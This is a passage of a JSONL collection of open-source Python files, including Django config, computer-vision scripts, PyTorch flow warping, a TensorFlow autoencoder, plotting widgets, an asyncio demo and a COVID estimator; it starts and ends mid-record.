"license": "MIT"} {"text": "from django.apps import AppConfig\n\n\nclass MypageConfig(AppConfig):\n name = 'mypage'\n", "source": "shotastage/neco-sys", "license": "MIT"} {"text": "from molecules.dna_molecule import DNAMolecule\nfrom molecules.dna_sequence import DNASequence\n\n\nclass GelElectrophoresis:\n \"\"\"\n Produce the Gel Electrophoresis procedure to sort DNA molecules by their size.\n \"\"\"\n\n @staticmethod\n def run_gel(dna_molecules):\n \"\"\"\n Runs the Gel Electrophoresis procedure to sort DNA molecules by their size.\n\n :param dna_molecules: DNA molecules.\n :return: Sorted list of the DNA molecules given.\n \"\"\"\n molecules = list(dna_molecules)\n molecules.sort(key=lambda mol: mol.length)\n return molecules\n\n\nif __name__ == '__main__':\n dna_sequences = [\n DNASequence.create_random_sequence(size=20),\n DNASequence.create_random_sequence(size=10),\n DNASequence.create_random_sequence(size=30),\n DNASequence.create_random_sequence(size=5),\n DNASequence.create_random_sequence(size=15)\n ]\n\n ex_dna_molecules = [\n DNAMolecule(dna_sequences[index], dna_sequences[index].get_complement())\n for index in range(len(dna_sequences))\n ]\n\n print('DNA molecules:')\n for molecule in ex_dna_molecules:\n print(f'{molecule}\\n')\n\n print('\\nRun Gel Electrophoresis on DNA molecules:')\n gel_dna_molecules = GelElectrophoresis.run_gel(ex_dna_molecules)\n\n print('Results DNA molecules:')\n for molecule in gel_dna_molecules:\n print(f'{molecule}\\n')\n\n\n", "source": "shakedmanes/molecular-computation", "license": "MIT"} {"text": "import os\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\n\nclass DrawGraphs:\n def __init__(self,path_ONLY):\n self.path_ONLY=path_ONLY\n if not os.path.exists(\"./MakeGraph/graphs/\"):\n os.makedirs(\"./MakeGraph/graphs/\")\n\n def DrawEmotion(self,emotiondataarray):\n colors = [\"#ff0000\", \"#ffff00\", \"#000000\", \"#0000ff\", \"#00ff00\"]\n ylist = [[], [], [], [], []]\n for i in range(5):\n for j in range(len(emotiondataarray)):\n ylist[i].append(emotiondataarray[j][i])\n x=list(range(len(emotiondataarray)))\n print(x)\n fig=plt.figure()\n ax = fig.add_subplot(1, 1, 1)\n linetype='-'\n title='detected emotions (Face only) ' + self.path_ONLY\n for i in range(5):\n ax.plot(x,ylist[i],linetype,c=colors[i],linewidth=1)\n\n # \u6c4e\u7528\u8981\u7d20\n ax.grid(True)\n ax.set_xlabel('frame [?]')\n ax.set_ylabel('exist rate')\n ax.set_title(title)\n ax.legend(['angry','happy','neutral','sad','surprise'])\n fig.canvas.draw()\n im = np.array(fig.canvas.renderer.buffer_rgba())\n return im", "source": "nao0423/A_MIA_R3", "license": "MIT"} {"text": "while True:\n print('\\n--- MULTIPLICATION TABLE ---')\n num = int(input('Type a number integer: '))\n if num < 0:\n break\n for c in range(1, 11):\n print(f'{c} X {num} = {c*num}')\nprint('END PROGRAM')", "source": "lucadomingues/Python", "license": "MIT"} {"text": "import picamera\nfrom time import sleep\nfrom time import time\nimport os\nimport numpy as np\nimport cv2\nimport imutils\nimport argparse\nimport face_recognition\nfrom camera.check_rectangle_overlap import check_rectangle_overlap\n\n# https://picamera.readthedocs.io/en/release-1.0/api.html\n\n\ndef get_number_faces():\n time_now = int(time())\n\n # take picture\n camera = picamera.PiCamera()\n camera.resolution = (1024, 768)\n camera.start_preview()\n sleep(3)\n camera.capture('./camera/images/{}.jpg'.format(time_now))\n camera.stop_preview()\n print('picture taken')\n\n # human detector with opencv\n HOGCV = cv2.HOGDescriptor()\n HOGCV.setSVMDetector(cv2.HOGDescriptor_getDefaultPeopleDetector())\n # read image and use the model\n image = cv2.imread('./camera/images/{}.jpg'.format(time_now))\n image = imutils.resize(image, width = min(800, image.shape[1])) \n bounding_box_cordinates, weights = HOGCV.detectMultiScale(image, winStride = (4, 4), padding = (8, 8))\n # change coordinates to list and recognize person if the Confidence Value is higher than 0.60\n people_count = 0\n people_coord = []\n for item in range(len(bounding_box_cordinates)):\n if weights[item][0] > 0.70:\n people_coord.append(list(bounding_box_cordinates[item]))\n people_count += 1\n\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n # count number of faces in picture with face_recognition\n face_locations = face_recognition.face_locations(image)\n num_faces = len(face_locations)\n face_coord = [list(item) for item in face_locations]\n \n # compare opencv and face_recognition results. If face is within the rectangle from opencv substract one face since, the face belongs to the same person.\n for person in people_coord:\n for face in face_coord:\n if check_rectangle_overlap(person, face):\n num_faces -= 1\n people_from_both_libraries = people_count + num_faces\n\n print('opencv has recogniced {0} people and face_recognition {1} faces'.format(people_count, num_faces))\n \n # save picture only has faces on it\n pic_name = ''\n if people_from_both_libraries:\n pic_name = '{0}_{1}_people.jpg'.format(time_now, people_from_both_libraries)\n # draw retangles to compare results\n # opencv coordinates\n for person in people_coord:\n cv2.rectangle(image, (person[0], person[1]), (person[0]+person[2],person[1]+person[3]), (0,255,0), 2)\n # face_recognition coordinates\n for item in face_coord:\n cv2.rectangle(image, (item[3], item[2]), (item[1],item[0]), (0,255,0), 2)\n cv2.imwrite('./camera/images/{}'.format(pic_name), image)\n os.remove('./camera/images/{}.jpg'.format(time_now))\n else:\n os.remove('./camera/images/{}.jpg'.format(time_now))\n\n return people_from_both_libraries, pic_name\n\n \n\n", "source": "Dangaran/home_station_project", "license": "CC0-1.0"} {"text": "# -*- coding: utf-8 -*-\n\"\"\"\nMetodo per la stima dell'ordine\n\"\"\"\nimport numpy as np\ndef stima_ordine(xks,num_iterazioni):\n k = num_iterazioni - 3\n return np.log(abs(xks[k+2]-xks[k+3])/abs(xks[k+1]-xks[k+2])) / np.log(abs(xks[k+1]-xks[k+2])/abs(xks[k]-xks[k+1]))", "source": "Ro0t-set/metodi-numerici", "license": "MIT"} {"text": "import argparse\nimport glob\nimport os, shutil\n\n\nimport cv2\n\nfrom YoloObjectDetector import YoloObjectDetector\nparser = argparse.ArgumentParser(description=\"Detect Objects in all images in the given folder.\")\nparser.add_argument(\"-s\", \"--size\", dest=\"size\", default=\"320\", type=str, help=\"Spatial Size (tiny, 320, 416, 608), default: 320\")\nparser.add_argument(\"input\", type=str, help=\"Input folder.\")\nargs = parser.parse_args()\n\nmodelSize = args.size\nprint(\"Using size \" + modelSize)\n\ndetector = YoloObjectDetector(modelSize)\n\nsrcFolder = args.input\nprint(\"Using imagefolder \" + srcFolder)\n\nif os.path.exists(\"target\"):\n shutil.rmtree(\"target\")\n\nos.mkdir(\"target\")\nfiles = glob.glob(srcFolder + \"/**/*.jpg\", recursive=True)\nnumberFiles = len(files)\nfor idx, filename in enumerate(files):\n print(\"{0:3.2f}% ({1:d}/{2:d})\".format((100/numberFiles)*idx, idx, numberFiles))\n if os.path.isfile(filename): # filter dirs\n print(filename)\n image = cv2.imread(filename)\n\n image = detector.processImage(image)\n if image is not None:\n output = os.path.join(\"target\", os.path.basename(filename))\n cv2.imwrite(output, image)\n", "source": "pklink/python-opencv", "license": "Apache-2.0"} {"text": "import torch\nimport torch.nn as nn\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n# Precomputed coordinate grids dictionary, with (tensor device, tensor size) as the keys.\nbackwarp_tenGrid = {}\n\n# backwarp and multiwarp are doing backward warping using the forward flow.\n# backwarp feature maps according to flow. ten: tensor?\ndef backwarp(tenInput, tenFlow):\n k = (str(tenFlow.device), str(tenFlow.size()))\n if k not in backwarp_tenGrid:\n tenHorizontal = torch.linspace(-1.0, 1.0, tenFlow.shape[3], device=device).view(\n 1, 1, 1, tenFlow.shape[3]).expand(tenFlow.shape[0], -1, tenFlow.shape[2], -1)\n tenVertical = torch.linspace(-1.0, 1.0, tenFlow.shape[2], device=device).view(\n 1, 1, tenFlow.shape[2], 1).expand(tenFlow.shape[0], -1, -1, tenFlow.shape[3])\n backwarp_tenGrid[k] = torch.cat(\n [tenHorizontal, tenVertical], 1).to(device)\n \n # channel 0: x (horizontal), channel 1: y (vertical).\n tenFlow = torch.cat([tenFlow[:, 0:1, :, :] / ((tenInput.shape[3] - 1.0) / 2.0),\n tenFlow[:, 1:2, :, :] / ((tenInput.shape[2] - 1.0) / 2.0)], 1)\n\n g = (backwarp_tenGrid[k] + tenFlow).permute(0, 2, 3, 1)\n return torch.nn.functional.grid_sample(input=tenInput, grid=g, mode='bilinear', padding_mode='border', align_corners=True)\n\n\n# Warp images with multiple groups of flow, and combine them into one group with flow group attention.\n# If M==1, multiwarp falls back to backwarp.\ndef multiwarp(img0, img1, multiflow, multimask_score, M):\n img0_warped_list = []\n img1_warped_list = []\n multimaskm0_score_list = []\n multimaskm1_score_list = []\n # multiflow at dim=1: \n # flowm0_1, flowm0_2, ..., flowm0_M, flowm1_1, flowm1_2, ..., flowm1_M\n # m0 means flow from middle to img0, m1 means flow from middle to img1.\n # Each block has 2 channels.\n for i in range(M):\n # mid -> 0 flow to warp img0, which approximates mid.\n img0_warped = backwarp(img0, multiflow[:, i*2 : i*2+2])\n img0_warped_list.append(img0_warped)\n # Warp the mask scores. The scores are generated mostly based on\n # unwarped images, and there's misalignment between warped images and unwarped \n # scores. Therefore, we need to warp the mask scores as well.\n # But doing so only leads to very slight improvement (~0.02 psnr).\n maskm0_score_warped = backwarp(multimask_score[:, [i]], multiflow[:, i*2 : i*2+2])\n multimaskm0_score_list.append(maskm0_score_warped)\n\n if img1 is not None:\n # m->1 flow to warp img1, which approximates mid.\n # m->1 flow starts from the 2*M-th channel.\n img1_warped = backwarp(img1, multiflow[:, 2*M+i*2 : 2*M+i*2+2])\n img1_warped_list.append(img1_warped)\n maskm1_score_warped = backwarp(multimask_score[:, [i+M]], multiflow[:, i*2+2*M : i*2+2*M+2])\n multimaskm1_score_list.append(maskm1_score_warped)\n else:\n # placeholder.\n img1_warped_list.append(None)\n\n if M == 1:\n return img0_warped_list[0], img1_warped_list[0]\n\n # multimask_score: 2*M+1 channels. 2*M for M groups of ML/MR flow attention scores, \n # ML: 0.5 -> 0, MR: 0.5 -> 1.\n # ML_0, ML_1, ..., ML_M, MR_0, ..., MR_M, ML~MR weight\n # 1: mask, for the warp0-warp1 combination weight.\n # For sofi, the global mask scores may be bidirectional. In that case, there are totally 2*M+2 channels.\n if img1 is not None:\n assert multimask_score.shape[1] == 2*M+1 or multimask_score.shape[1] == 2*M+2\n\n # img0_warped_list, img1_warped_list are two lists, each of length M.\n # => [16, M, 3, 224, 224]\n warped_img0s = torch.stack(img0_warped_list, dim=1)\n multimaskm0_score = torch.stack(multimaskm0_score_list, dim=1)\n # warp0_attn: [16, M, 1, 224, 224]\n warp0_attn = torch.softmax(multimaskm0_score, dim=1)\n img0_warped = (warp0_attn * warped_img0s).sum(dim=1)\n\n if img1 is not None:\n warped_img1s = torch.stack(img1_warped_list, dim=1)\n multimaskm1_score = torch.stack(multimaskm1_score_list, dim=1)\n warp1_attn = torch.softmax(multimaskm1_score, dim=1)\n img1_warped = (warp1_attn * warped_img1s).sum(dim=1)\n else:\n img1_warped = None\n\n return img0_warped, img1_warped\n\n# Use flow group attention to combine multiple flow groups into one.\ndef multimerge_flow(multiflow, multimask_score, M):\n if M == 1:\n multiflowm0, multiflowm1 = multiflow[:, :2], multiflow[:, 2:4]\n flow = multiflow\n else:\n multiflowm0 = multiflow[:, :2*M]\n multiflowm1 = multiflow[:, 2*M:]\n # multiflow: [16, 4*M, 224, 224]\n mf_unpack_shape = list(multiflow.shape)\n mf_unpack_shape[1:2] = [M, 2]\n # multiflowm0, multiflowm1: [16, M, 2, 224, 224]\n multiflowm0_unpack = multiflowm0.reshape(mf_unpack_shape)\n multiflowm1_unpack = multiflowm1.reshape(mf_unpack_shape)\n # warp0_attn, warp1_attn: [16, M, 1, 224, 224]\n # multiflow is unwarped, so we don't need to warp the mask scores.\n warp0_attn = torch.softmax(multimask_score[:, :M], dim=1).unsqueeze(dim=2)\n warp1_attn = torch.softmax(multimask_score[:, M:2*M], dim=1).unsqueeze(dim=2)\n # flowm0, flowm1: [16, 2, 224, 224]\n flowm0 = (warp0_attn * multiflowm0_unpack).sum(dim=1)\n flowm1 = (warp1_attn * multiflowm1_unpack).sum(dim=1)\n flow = torch.cat([flowm0, flowm1], dim=1)\n return flow\n", "source": "askerlee/rift", "license": "MIT"} {"text": "import numpy as np\r\nimport sklearn.preprocessing as prep\r\nimport tensorflow as tf\r\nfrom tensorflow.examples.tutorials.mnist import input_data\r\n\r\ndef xavier_init(fan_in,fan_out,constant = 1):\r\n\tlow = -constant * np.sqrt(6.0 /(fan_in + fan_out))\r\n\thigh = constant * np.sqrt(6.0 /(fan_in + fan_out))\r\n\treturn tf.random_uniform((fan_in,fan_out),minval= low,maxval = high,dtype = tf.float32)\r\n\r\nclass AdditivaGaussianNoiseAutoencoder(object):\r\n\tdef __init__(self,n_input,n_hidden,transfer_function= tf.nn.softplus,optimizer= tf.train.AdamOptimizer(),scale=0.1):\r\n\t\tself.n_input\t= n_input\r\n\t\tself.n_hidden = n_hidden\r\n\t\tself.transfer = transfer_function\r\n\t\tself.scale = tf.placeholder(tf.float32)\r\n\t\tself.training_scale = scale\r\n\t\tnetwork_weights = self._initialize_weights()\r\n\t\tself.weights = network_weights\r\n\t\tself.x = tf.placeholder(tf.float32,[None,self.n_input])\r\n\t\tself.hidden = self.transfer(tf.add(tf.matmul(self.x+scale * tf.random_normal((n_input,)),\r\n\t\t\t\t\t\t\t\t\t\t\t\t\tself.weights['w1']),self.weights['b1']))\r\n\t\tself.reconstruction = tf.add(tf.matmul(self.hidden,self.weights['w2']),self.weights['b2'])\r\n\t\r\n\t\tself.cost = 0.5 * tf.reduce_sum(tf.pow(tf.subtract(self.reconstruction,self.x),2.0))\r\n\t\tself.optimizer = optimizer.minimize(self.cost)\r\n\t\tinit = tf.global_variables_initializer()\r\n\t\tself.sess = tf.Session()\r\n\t\tself.sess.run(init)\r\n\tdef _initialize_weights(self):\r\n\t\tall_weights = dict()\r\n\t\tall_weights['w1'] = tf.Variable(xavier_init(self.n_input,self.n_hidden))\r\n\t\tall_weights['b1'] = tf.Variable(tf.zeros([self.n_hidden],dtype = tf.float32))\r\n\t\tall_weights['w2'] = tf.Variable(tf.zeros([self.n_hidden,self.n_input],dtype = tf.float32))\r\n\t\tall_weights['b2'] = tf.Variable(tf.zeros([self.n_input],dtype = tf.float32))\r\n\t\treturn all_weights\r\n\tdef partial_fit(self,X):\r\n\t\tcost, opt = self.sess.run((self.cost,self.optimizer),feed_dict= {self.x:X,self.scale:self.training_scale})\r\n\t\treturn cost\r\n\tdef calc_total_cost(self,X):\r\n\t\treturn self.sess.run(self.cost,feed_dict={self.x:X,self.scale:self.training_scale})\r\n\tdef transform(self,X):\r\n\t\treturn self.sess.run(self.hidden,feed_dict={self.x:X,self.scale:self.training_scale})\r\n\tdef generate(self,hidden = None):\r\n\t\tif hidden is none:\r\n\t\t\thidden = np.random.normal(size = self.weights[\"b1\"])\r\n\t\treturn self.sess.run(self.reconstruction,feed_dict= {self.hidden:hidden})\r\n\tdef reconstruct(self,X):\r\n\t\treturn self.sess.run(self.reconstruction,feed_dict={self.x:X,self.scale:self.training_scale})\r\n\tdef getWeights(self):\r\n\t\treturn self.sess.run(self.weights['w1'])\r\n\tdef getBisses(self):\r\n\t\treturn self.sess.run(self.weights['b1'])\r\n\r\n\t\t\r\nmnist = input_data.read_data_sets('MNIST_DATA',one_hot=True)\r\n\r\ndef standard_scale(X_train,X_test):\r\n\tpreprocessor = prep.StandardScaler().fit(X_train)\r\n\tX_train = preprocessor.transform(X_train)\r\n\tX_test = preprocessor.transform(X_test)\r\n\treturn X_train,X_test\r\ndef get_random_block_from_data(data,batch_size):\r\n\tstart_index = np.random.randint(0,len(data) - batch_size)\r\n\treturn data[start_index:(start_index + batch_size)]\r\nX_tain,X_test = standard_scale(mnist.train.images,mnist.test.images)\r\n\r\nn_samples = int(mnist.train.num_examples)\r\ntraining_epochs = 200\r\nbatch_size = 128\r\ndisplay_step = 1\r\n\r\nautoencoder = AdditivaGaussianNoiseAutoencoder(n_input = 784,n_hidden= 200,transfer_function = tf.nn.softplus,\r\n\t\t\t\t\t\t\t\t\t\t\t\toptimizer = tf.train.AdamOptimizer(learning_rate = 0.001),\r\n\t\t\t\t\t\t\t\t\t\t\t\tscale = 0.01)\r\nfor epoch in range(training_epochs):\r\n\tavg_cost = 0.\r\n\ttotal_batch = int(n_samples /batch_size)\r\n\tfor i in range(total_batch):\r\n\t\tbatch_xs = get_random_block_from_data(X_tain,batch_size)\r\n\t\tcost = autoencoder.partial_fit(batch_xs)\r\n\t\tavg_cost += cost /n_samples * batch_size\r\n\tif epoch % display_step == 0:\r\n\t\tprint(\"Epoch:\",'%04d'%(epoch+1),\"cost=\",\"{:.9f}\".format(avg_cost))\r\nprint (\"total cost:\" + str(autoencoder.calc_total_cost(X_test)))\r\n", "source": "a25765564/MLtest", "license": "MIT"} {"text": "import collections\nimport logging\n\nfrom event_model import DocumentRouter, RunRouter\nimport numpy\nfrom matplotlib.backends.backend_qt5agg import (\n FigureCanvasQTAgg as FigureCanvas,\n NavigationToolbar2QT as NavigationToolbar)\nimport matplotlib\nfrom qtpy.QtWidgets import ( # noqa\n QLabel,\n QWidget,\n QVBoxLayout,\n )\nfrom traitlets.traitlets import Bool, List, Set\nfrom traitlets.config import Configurable\n\nfrom .hints import hinted_fields, guess_dimensions # noqa\nfrom .image import LatestFrameImageManager\nfrom ..utils import load_config\n\nmatplotlib.use('Qt5Agg') # must set before importing matplotlib.pyplot\nimport matplotlib.pyplot as plt # noqa\n\n\nlog = logging.getLogger('bluesky_browser')\n\n\nclass LinePlotManager(Configurable):\n \"\"\"\n Manage the line plots for one FigureManager.\n \"\"\"\n omit_single_point_plot = Bool(True, config=True)\n\n def __init__(self, fig_manager, dimensions):\n self.update_config(load_config())\n self.fig_manager = fig_manager\n self.start_doc = None\n self.dimensions = dimensions\n self.dim_streams = set(stream for _, stream in self.dimensions)\n if len(self.dim_streams) > 1:\n raise NotImplementedError\n\n def __call__(self, name, start_doc):\n self.start_doc = start_doc\n return [], [self.subfactory]\n\n def subfactory(self, name, descriptor_doc):\n if self.omit_single_point_plot and self.start_doc.get('num_points') == 1:\n return []\n if len(self.dimensions) > 1:\n return [] # This is a job for Grid.\n fields = set(hinted_fields(descriptor_doc))\n # Filter out the fields with a data type or shape that we cannot\n # represent in a line plot.\n for field in list(fields):\n dtype = descriptor_doc['data_keys'][field]['dtype']\n if dtype not in ('number', 'integer'):\n fields.discard(field)\n ndim = len(descriptor_doc['data_keys'][field]['shape'] or [])\n if ndim != 0:\n fields.discard(field)\n\n callbacks = []\n dim_stream, = self.dim_streams # TODO Handle multiple dim_streams.\n if descriptor_doc.get('name') == dim_stream:\n dimension, = self.dimensions\n x_keys, stream_name = dimension\n fields -= set(x_keys)\n assert stream_name == dim_stream # TODO Handle multiple dim_streams.\n for x_key in x_keys:\n figure_label = f'Scalars v {x_key}'\n fig = self.fig_manager.get_figure(\n ('line', x_key, tuple(fields)), figure_label, len(fields), sharex=True)\n for y_key, ax in zip(fields, fig.axes):\n\n log.debug('plot %s against %s', y_key, x_key)\n\n ylabel = y_key\n y_units = descriptor_doc['data_keys'][y_key].get('units')\n ax.set_ylabel(y_key)\n if y_units:\n ylabel += f' [{y_units}]'\n # Set xlabel only on lowest axes, outside for loop below.\n\n def func(event_page, y_key=y_key):\n \"\"\"\n Extract x points and y points to plot out of an EventPage.\n\n This will be passed to LineWithPeaks.\n \"\"\"\n y_data = event_page['data'][y_key]\n if x_key == 'time':\n t0 = self.start_doc['time']\n x_data = numpy.asarray(event_page['time']) - t0\n elif x_key == 'seq_num':\n x_data = event_page['seq_num']\n else:\n x_data = event_page['data'][x_key]\n return x_data, y_data\n\n line = Line(func, ax=ax)\n callbacks.append(line)\n\n if fields:\n # Set the xlabel on the bottom-most axis.\n if x_key == 'time':\n xlabel = x_key\n x_units = 's'\n elif x_key == 'seq_num':\n xlabel = 'sequence number'\n x_units = None\n else:\n xlabel = x_key\n x_units = descriptor_doc['data_keys'][x_key].get('units')\n if x_units:\n xlabel += f' [{x_units}]'\n ax.set_xlabel(x_key)\n fig.tight_layout()\n # TODO Plot other streams against time.\n for callback in callbacks:\n callback('start', self.start_doc)\n callback('descriptor', descriptor_doc)\n return callbacks\n\n\nclass Line(DocumentRouter):\n \"\"\"\n Draw a matplotlib Line Arist update it for each Event.\n\n Parameters\n ----------\n func : callable\n This must accept an EventPage and return two lists of floats\n (x points and y points). The two lists must contain an equal number of\n items, but that number is arbitrary. That is, a given document may add\n one new point to the plot, no new points, or multiple new points.\n label_template : string\n This string will be formatted with the RunStart document. Any missing\n values will be filled with '?'. If the keyword argument 'label' is\n given, this argument will be ignored.\n ax : matplotlib Axes, optional\n If None, a new Figure and Axes are created.\n **kwargs\n Passed through to :meth:`Axes.plot` to style Line object.\n \"\"\"\n def __init__(self, func, *, label_template='{scan_id} [{uid:.8}]', ax=None, **kwargs):\n self.func = func\n if ax is None:\n import matplotlib.pyplot as plt\n _, ax = plt.subplots()\n self.ax = ax\n self.line, = ax.plot([], [], **kwargs)\n self.x_data = []\n self.y_data = []\n self.label_template = label_template\n self.label = kwargs.get('label')\n\n def start(self, doc):\n if self.label is None:\n d = collections.defaultdict(lambda: '?')\n d.update(**doc)\n label = self.label_template.format_map(d)\n else:\n label = self.label\n if label:\n self.line.set_label(label)\n self.ax.legend(loc='best')\n\n def event_page(self, doc):\n x, y = self.func(doc)\n self._update(x, y)\n\n def _update(self, x, y):\n \"\"\"\n Takes in new x and y points and redraws plot if they are not empty.\n \"\"\"\n if not len(x) == len(y):\n raise ValueError(\"User function is expected to provide the same \"\n \"number of x and y points. Got {len(x)} x points \"\n \"and {len(y)} y points.\")\n if not x:\n # No new data. Short-circuit.\n return\n self.x_data.extend(x)\n self.y_data.extend(y)\n self.line.set_data(self.x_data, self.y_data)\n self.ax.relim(visible_only=True)\n self.ax.autoscale_view(tight=True)\n self.ax.figure.canvas.draw_idle()\n\n\nclass Grid(DocumentRouter):\n \"\"\"\n Draw a matplotlib AxesImage Arist update it for each Event.\n\n The purposes of this callback is to create (on initialization) of a\n matplotlib grid image and then update it with new data for every `event`.\n NOTE: Some important parameters are fed in through **kwargs like `extent`\n which defines the axes min and max and `origin` which defines if the grid\n co-ordinates start in the bottom left or top left of the plot. For more\n info see https://matplotlib.org/tutorials/intermediate/imshow_extent.html\n or https://matplotlib.org/api/_as_gen/matplotlib.axes.Axes.imshow.html#matplotlib.axes.Axes.imshow\n\n Parameters\n ----------\n func : callable\n This must accept a BulkEvent and return three lists of floats (x\n grid co-ordinates, y grid co-ordinates and grid position intensity\n values). The three lists must contain an equal number of items, but\n that number is arbitrary. That is, a given document may add one new\n point, no new points or multiple new points to the plot.\n shape : tuple\n The (row, col) shape of the grid.\n ax : matplotlib Axes, optional.\n if ``None``, a new Figure and Axes are created.\n **kwargs\n Passed through to :meth:`Axes.imshow` to style the AxesImage object.\n \"\"\"\n def __init__(self, func, shape, *, ax=None, **kwargs):\n self.func = func\n self.shape = shape\n if ax is None:\n _, ax = plt.subplots()\n self.ax = ax\n self.grid_data = numpy.full(self.shape, numpy.nan)\n self.image, = ax.imshow(self.grid_data, **kwargs)\n\n def event_page(self, doc):\n '''\n Takes in a bulk_events document and updates grid_data with the values\n returned from self.func(doc)\n\n Parameters\n ----------\n doc : dict\n The bulk event dictionary that contains the 'data' and 'timestamps'\n associated with the bulk event.\n\n Returns\n -------\n x_coords, y_coords, I_vals : Lists\n These are lists of x co-ordinate, y co-ordinate and intensity\n values arising from the bulk event.\n '''\n x_coords, y_coords, I_vals = self.func(doc)\n self._update(x_coords, y_coords, I_vals)\n\n def _update(self, x_coords, y_coords, I_vals):\n '''\n Updates self.grid_data with the values from the lists x_coords,\n y_coords, I_vals.\n\n Parameters\n ----------\n x_coords, y_coords, I_vals : Lists\n These are lists of x co-ordinate, y co-ordinate and intensity\n values arising from the event. The length of all three lists must\n be the same.\n '''\n\n if not len(x_coords) == len(y_coords) == len(I_vals):\n raise ValueError(\"User function is expected to provide the same \"\n \"number of x, y and I points. Got {0} x points, \"\n \"{1} y points and {2} I values.\"\n \"\".format(len(x_coords), len(y_coords),\n len(I_vals)))\n\n if not x_coords:\n # No new data, Short-circuit.\n return\n\n # Update grid_data and the plot.\n self.grid_data[x_coords, y_coords] = I_vals\n self.image.set_array(self.grid_data)\n\n\nclass FigureManager(Configurable):\n \"\"\"\n For a given Viewer, encasulate the matplotlib Figures and associated tabs.\n \"\"\"\n factories = List([\n LinePlotManager,\n LatestFrameImageManager],\n config=True)\n enabled = Bool(True, config=True)\n exclude_streams = Set([], config=True)\n\n def __init__(self, add_tab):\n self.update_config(load_config())\n self.add_tab = add_tab\n self._figures = {}\n\n def get_figure(self, key, label, *args, **kwargs):\n try:\n return self._figures[key]\n except KeyError:\n return self._add_figure(key, label, *args, **kwargs)\n\n def _add_figure(self, key, label, *args, **kwargs):\n tab = QWidget()\n fig, _ = plt.subplots(*args, **kwargs)\n canvas = FigureCanvas(fig)\n canvas.setMinimumWidth(640)\n canvas.setParent(tab)\n toolbar = NavigationToolbar(canvas, tab)\n tab_label = QLabel(label)\n tab_label.setMaximumHeight(20)\n\n layout = QVBoxLayout()\n layout.addWidget(tab_label)\n layout.addWidget(canvas)\n layout.addWidget(toolbar)\n tab.setLayout(layout)\n self.add_tab(tab, label)\n self._figures[key] = fig\n return fig\n\n def __call__(self, name, start_doc):\n if not self.enabled:\n return [], []\n dimensions = start_doc.get('hints', {}).get('dimensions', guess_dimensions(start_doc))\n rr = RunRouter(\n [factory(self, dimensions) for factory in self.factories])\n rr('start', start_doc)\n return [rr], []\n", "source": "EliotGann/bluesky-browser", "license": "BSD-3-Clause"} {"text": "\n\"\"\"\nSelfium CLI Tools\n~~~~~~~~~~~~~~~~~~~\nAll cli functions used in Selfium project;\n:copyright: (c) 2021 - Caillou and ZeusHay;\n:license: MIT, see LICENSE for more details.\n\"\"\"\n\nfrom .logo import *\nfrom .clear import *\nfrom .welcome import *\nfrom .tokenError import *\n", "source": "Hacker-1202/Selfium", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n\"\"\"\n@contact: lishulong.never@gmail.com\n@time: 2019/3/25 \u4e0b\u53489:43\n\"\"\"\n\nimport asyncio\n\n\nasync def consume():\n print('start consume...')\n await asyncio.sleep(10)\n print('end consume...')\n\n\nif __name__ == '__main__':\n tasks = [consume() for i in range(10)]\n\n loop = asyncio.get_event_loop()\n try:\n loop.run_until_complete(asyncio.wait(tasks))\n except KeyboardInterrupt as e:\n all = asyncio.Task.all_tasks()\n for t in all:\n print('cancel task')\n print(t.cancel())\n loop.stop()\n loop.run_forever()\n finally:\n loop.close()\n\n\"\"\"\nlishulongdeMBP:event_loop lishulong$ python cancel_task.py \nstart consume...\nstart consume...\nstart consume...\nstart consume...\nstart consume...\nstart consume...\nstart consume...\nstart consume...\nstart consume...\nstart consume...\n^Ccancel task\nTrue\ncancel task\nTrue\ncancel task\nTrue\ncancel task\nTrue\ncancel task\nTrue\ncancel task\nTrue\ncancel task\nTrue\ncancel task\nTrue\ncancel task\nTrue\ncancel task\nTrue\ncancel task\nTrue\nlishulongdeMBP:event_loop lishulong$ \n\n\"\"\"\n", "source": "lishulongVI/Ilhabela", "license": "MIT"} {"text": "import os\nimport datetime\nimport numpy as np\nfrom jinja2 import Template\nfrom scipy.stats import hypergeom\nimport matplotlib.pyplot as plt\nimport covidtracker as ct\nfrom covidtracker.dataloader import DataLoader\nfrom covidtracker.models import update_samples\nfrom covidtracker.plotter import plot_interval\n\ndef plot_gradient(res):\n dl = res.dataloader\n b = res.samples[\"b\"].detach().numpy()\n tnp = np.arange(b.shape[1])\n\n plot_interval(tnp, (np.exp(b)-1)*100, color=\"C2\")\n plt.plot(tnp, tnp*0, \"k--\")\n plt.ylabel(\"Persentase pertumbuhan\")\n plt.xticks(tnp[::7], dl.tdate[::7], rotation=90)\n plt.title(dl.ylabel)\n plt.legend(loc=\"upper right\")\n\ndef plot_data_and_sim(res):\n yobs = res.yobs\n ysim = res.ysim\n dl = res.dataloader\n tnp = np.arange(len(yobs))\n\n plt.bar(tnp, yobs, color=\"C1\", alpha=0.6)\n plot_interval(tnp, ysim, color=\"C1\")\n plt.xticks(tnp[::7], dl.tdate[::7], rotation=90)\n plt.title(dl.ylabel)\n plt.legend(loc=\"upper left\")\n\ndef get_weekly_sum(y, a=7):\n # yy = y[:((y.shape[-1]//a)*a)].reshape(-1,a).sum(axis=-1)\n yy = y[y.shape[-1]%7:].reshape(-1,a).sum(axis=-1)\n return yy\n\ndef get_in_week(t, a=7, i=0):\n # ty = t[:((t.shape[-1]//a)*a)].reshape(-1,a)[:,i]\n ty = t[t.shape[-1]%7:].reshape(-1,a)[:,i]\n return ty\n\ndef get_total_cases(res, total_deaths_data):\n model = res.model\n samples = res.samples\n ysim = res.ysim\n\n unreported_ratio_death = 2200 / 785. # from reuter's report https://uk.reuters.com/article/us-health-coronavirus-indonesia-casualti/exclusive-more-than-2200-indonesians-have-died-with-coronavirus-symptoms-data-shows-idUKKCN22A04N\n total_deaths_from_cases_fullifr = model.predict_total_deaths(samples, ifr=1.0) # (nsamples,)\n unreported_ratio_fullifr = total_deaths_data * unreported_ratio_death / total_deaths_from_cases_fullifr\n total_cases_fullifr = unreported_ratio_fullifr * np.sum(ysim, axis=-1)\n\n total_cases = None\n ntrial = 100\n ifrs = np.random.randn(ntrial) * 0.0047 + 0.0086 # (0.39 - 1.33)% from https://www.medrxiv.org/content/10.1101/2020.03.09.20033357v1.full.pdf\n ifrs[ifrs < 0.0039] = 0.0039\n for i,ifr in enumerate(ifrs):\n total_cases1 = total_cases_fullifr / ifr # (nsamples,)\n if i == 0:\n total_cases = total_cases1\n else:\n total_cases = np.concatenate((total_cases, 